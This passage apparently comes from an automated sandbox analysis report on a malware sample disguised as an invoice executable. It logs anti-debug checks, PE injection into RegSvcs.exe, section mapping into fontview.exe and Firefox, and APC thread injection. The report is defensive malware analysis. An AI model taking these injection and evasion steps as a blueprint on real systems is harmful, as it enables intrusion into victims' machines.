Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F69C0 mov eax, dword ptr fs:[00000030h]	4_2_014F69C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0146A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0146A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0146A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0146A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0146A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146A9D0 mov eax, dword ptr fs:[00000030h]	4_2_0146A9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014949D0 mov eax, dword ptr fs:[00000030h]	4_2_014949D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EE9E0 mov eax, dword ptr fs:[00000030h]	4_2_014EE9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014929F9 mov eax, dword ptr fs:[00000030h]	4_2_014929F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014929F9 mov eax, dword ptr fs:[00000030h]	4_2_014929F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014729A0 mov eax, dword ptr fs:[00000030h]	4_2_014729A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014609AD mov eax, dword ptr fs:[00000030h]	4_2_014609AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014609AD mov eax, dword ptr fs:[00000030h]	4_2_014609AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E89B3 mov esi, dword ptr fs:[00000030h]	4_2_014E89B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E89B3 mov eax, dword ptr fs:[00000030h]	4_2_014E89B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014E89B3 mov eax, dword ptr fs:[00000030h]	4_2_014E89B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01472840 mov ecx, dword ptr fs:[00000030h]	4_2_01472840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01490854 mov eax, dword ptr fs:[00000030h]	4_2_01490854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01464859 mov eax, dword ptr fs:[00000030h]	4_2_01464859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01464859 mov eax, dword ptr fs:[00000030h]	4_2_01464859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EE872 mov eax, dword ptr fs:[00000030h]	4_2_014EE872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EE872 mov eax, dword ptr fs:[00000030h]	4_2_014EE872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F6870 mov eax, dword ptr fs:[00000030h]	4_2_014F6870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F6870 mov eax, dword ptr fs:[00000030h]	4_2_014F6870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EC810 mov eax, dword ptr fs:[00000030h]	4_2_014EC810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150483A mov eax, dword ptr fs:[00000030h]	4_2_0150483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150483A mov eax, dword ptr fs:[00000030h]	4_2_0150483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149A830 mov eax, dword ptr fs:[00000030h]	4_2_0149A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01482835 mov eax, dword ptr fs:[00000030h]	4_2_01482835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01482835 mov eax, dword ptr fs:[00000030h]	4_2_01482835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01482835 mov eax, dword ptr fs:[00000030h]	4_2_01482835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01482835 mov ecx, dword ptr fs:[00000030h]	4_2_01482835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01482835 mov eax, dword ptr fs:[00000030h]	4_2_01482835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01482835 mov eax, dword ptr fs:[00000030h]	4_2_01482835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148E8C0 mov eax, dword ptr fs:[00000030h]	4_2_0148E8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_015308C0 mov eax, dword ptr fs:[00000030h]	4_2_015308C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C8F9 mov eax, dword ptr fs:[00000030h]	4_2_0149C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149C8F9 mov eax, dword ptr fs:[00000030h]	4_2_0149C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152A8E4 mov eax, dword ptr fs:[00000030h]	4_2_0152A8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460887 mov eax, dword ptr fs:[00000030h]	4_2_01460887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014EC89D mov eax, dword ptr fs:[00000030h]	4_2_014EC89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150EB50 mov eax, dword ptr fs:[00000030h]	4_2_0150EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01532B57 mov eax, dword ptr fs:[00000030h]	4_2_01532B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01532B57 mov eax, dword ptr fs:[00000030h]	4_2_01532B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01532B57 mov eax, dword ptr fs:[00000030h]	4_2_01532B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01532B57 mov eax, dword ptr fs:[00000030h]	4_2_01532B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F6B40 mov eax, dword ptr fs:[00000030h]	4_2_014F6B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014F6B40 mov eax, dword ptr fs:[00000030h]	4_2_014F6B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01508B42 mov eax, dword ptr fs:[00000030h]	4_2_01508B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0152AB40 mov eax, dword ptr fs:[00000030h]	4_2_0152AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01458B50 mov eax, dword ptr fs:[00000030h]	4_2_01458B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01514B4B mov eax, dword ptr fs:[00000030h]	4_2_01514B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01514B4B mov eax, dword ptr fs:[00000030h]	4_2_01514B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0145CB7E mov eax, dword ptr fs:[00000030h]	4_2_0145CB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DEB1D mov eax, dword ptr fs:[00000030h]	4_2_014DEB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01534B00 mov eax, dword ptr fs:[00000030h]	4_2_01534B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148EB20 mov eax, dword ptr fs:[00000030h]	4_2_0148EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148EB20 mov eax, dword ptr fs:[00000030h]	4_2_0148EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01528B28 mov eax, dword ptr fs:[00000030h]	4_2_01528B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01528B28 mov eax, dword ptr fs:[00000030h]	4_2_01528B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150EBD0 mov eax, dword ptr fs:[00000030h]	4_2_0150EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01480BCB mov eax, dword ptr fs:[00000030h]	4_2_01480BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01480BCB mov eax, dword ptr fs:[00000030h]	4_2_01480BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01480BCB mov eax, dword ptr fs:[00000030h]	4_2_01480BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460BCD mov eax, dword ptr fs:[00000030h]	4_2_01460BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460BCD mov eax, dword ptr fs:[00000030h]	4_2_01460BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460BCD mov eax, dword ptr fs:[00000030h]	4_2_01460BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148EBFC mov eax, dword ptr fs:[00000030h]	4_2_0148EBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01468BF0 mov eax, dword ptr fs:[00000030h]	4_2_01468BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01468BF0 mov eax, dword ptr fs:[00000030h]	4_2_01468BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01468BF0 mov eax, dword ptr fs:[00000030h]	4_2_01468BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014ECBF0 mov eax, dword ptr fs:[00000030h]	4_2_014ECBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01514BB0 mov eax, dword ptr fs:[00000030h]	4_2_01514BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01514BB0 mov eax, dword ptr fs:[00000030h]	4_2_01514BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470BBE mov eax, dword ptr fs:[00000030h]	4_2_01470BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470BBE mov eax, dword ptr fs:[00000030h]	4_2_01470BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466A50 mov eax, dword ptr fs:[00000030h]	4_2_01466A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466A50 mov eax, dword ptr fs:[00000030h]	4_2_01466A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466A50 mov eax, dword ptr fs:[00000030h]	4_2_01466A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466A50 mov eax, dword ptr fs:[00000030h]	4_2_01466A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466A50 mov eax, dword ptr fs:[00000030h]	4_2_01466A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466A50 mov eax, dword ptr fs:[00000030h]	4_2_01466A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01466A50 mov eax, dword ptr fs:[00000030h]	4_2_01466A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470A5B mov eax, dword ptr fs:[00000030h]	4_2_01470A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01470A5B mov eax, dword ptr fs:[00000030h]	4_2_01470A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149CA6F mov eax, dword ptr fs:[00000030h]	4_2_0149CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149CA6F mov eax, dword ptr fs:[00000030h]	4_2_0149CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149CA6F mov eax, dword ptr fs:[00000030h]	4_2_0149CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0150EA60 mov eax, dword ptr fs:[00000030h]	4_2_0150EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DCA72 mov eax, dword ptr fs:[00000030h]	4_2_014DCA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014DCA72 mov eax, dword ptr fs:[00000030h]	4_2_014DCA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014ECA11 mov eax, dword ptr fs:[00000030h]	4_2_014ECA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0148EA2E mov eax, dword ptr fs:[00000030h]	4_2_0148EA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149CA24 mov eax, dword ptr fs:[00000030h]	4_2_0149CA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149CA38 mov eax, dword ptr fs:[00000030h]	4_2_0149CA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01484A35 mov eax, dword ptr fs:[00000030h]	4_2_01484A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01484A35 mov eax, dword ptr fs:[00000030h]	4_2_01484A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014B6ACC mov eax, dword ptr fs:[00000030h]	4_2_014B6ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014B6ACC mov eax, dword ptr fs:[00000030h]	4_2_014B6ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_014B6ACC mov eax, dword ptr fs:[00000030h]	4_2_014B6ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01460AD0 mov eax, dword ptr fs:[00000030h]	4_2_01460AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01494AD0 mov eax, dword ptr fs:[00000030h]	4_2_01494AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01494AD0 mov eax, dword ptr fs:[00000030h]	4_2_01494AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149AAEE mov eax, dword ptr fs:[00000030h]	4_2_0149AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0149AAEE mov eax, dword ptr fs:[00000030h]	4_2_0149AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146EA80 mov eax, dword ptr fs:[00000030h]	4_2_0146EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146EA80 mov eax, dword ptr fs:[00000030h]	4_2_0146EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146EA80 mov eax, dword ptr fs:[00000030h]	4_2_0146EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0146EA80 mov eax, dword ptr fs:[00000030h]	4_2_0146EA80

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_00417553 LdrLoadDll,

4_2_00417553

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: unknown target: C:\Windows\SysWOW64\fontview.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Section loaded: unknown target: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Section loaded: unknown target: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: BB6008	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF613480000	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF613480000 value starts with: 4D5A			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\fontview.exe

Thread APC queued: target process: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe

Jump to behavior

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Program Files (x86)\dNAGqKTZGUAwaxVqazHCxkYGeHKBIiEYPiPMKrHtQXpznvGBaeqnolUoXkFHVbdDlBIbtsRYWxSQYDD\xIXlFDyvSnsfUSfsjsGwj.exe	Process created: C:\Windows\SysWOW64\fontview.exe C:\Windows\SysWOW64\fontview.exe	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000000.1274059645.0000000000E70000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000002.3735189072.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000000.1406462799.00000000016C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000000.1274059645.0000000000E70000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000002.3735189072.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000000.1406462799.00000000016C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000000.1274059645.0000000000E70000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000002.3735189072.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000000.1406462799.00000000016C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: EProgram Manager
Source: xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000000.1274059645.0000000000E70000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000B.00000002.3735189072.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000000.1406462799.00000000016C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Queries volume information: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
